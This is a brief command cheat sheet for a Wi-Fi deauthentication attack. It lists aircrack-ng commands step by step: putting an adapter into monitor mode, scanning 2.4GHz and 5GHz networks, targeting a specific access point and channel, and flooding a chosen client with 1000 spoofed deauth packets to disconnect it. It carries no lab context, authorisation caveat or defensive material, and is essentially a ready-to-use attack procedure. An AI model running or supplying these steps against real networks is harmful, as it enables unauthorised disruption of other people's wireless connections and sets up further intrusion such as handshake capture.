Deauthentication (Deauth)
Deauthentication attack that forcibly disconnects a wireless client from an access point by sending spoofed deauth packets.
Setup
| Command | Description |
|---|---|
| airmon-ng start wlan0 | Puts the wireless adapter into monitor mode. |
Scanning
| Command | Description |
|---|---|
| airodump-ng wlan0mon | Scans nearby networks on the 2.4GHz band. |
| airodump-ng --band a wlan0mon | Scans nearby networks on the 5GHz band. |
| airodump-ng --band abg wlan0mon | Scans nearby networks on both 2.4GHz and 5GHz bands. |
Target
| Command | Description |
|---|---|
| airodump-ng --channel [channel_no] --bssid [BSSID] wlan0mon | Focuses the scan on a specific target's channel (2.4GHz). |
| airodump-ng --band a --channel [channel_no] --bssid [BSSID] wlan0mon | Focuses the scan on a specific target's channel (5GHz). |
| iwconfig wlan0mon channel [channel_no] | Manually sets the adapter's channel (required for 5GHz). |
Execution
| Command | Description |
|---|---|
| aireplay-ng --deauth 1000 -a [BSSID] -c [STATION] wlan0mon | Sends deauthentication packets to disconnect a client (2.4GHz). |
| aireplay-ng --deauth 1000 -D -a [BSSID] -c [STATION] wlan0mon | Sends deauthentication packets to disconnect a client (5GHz). |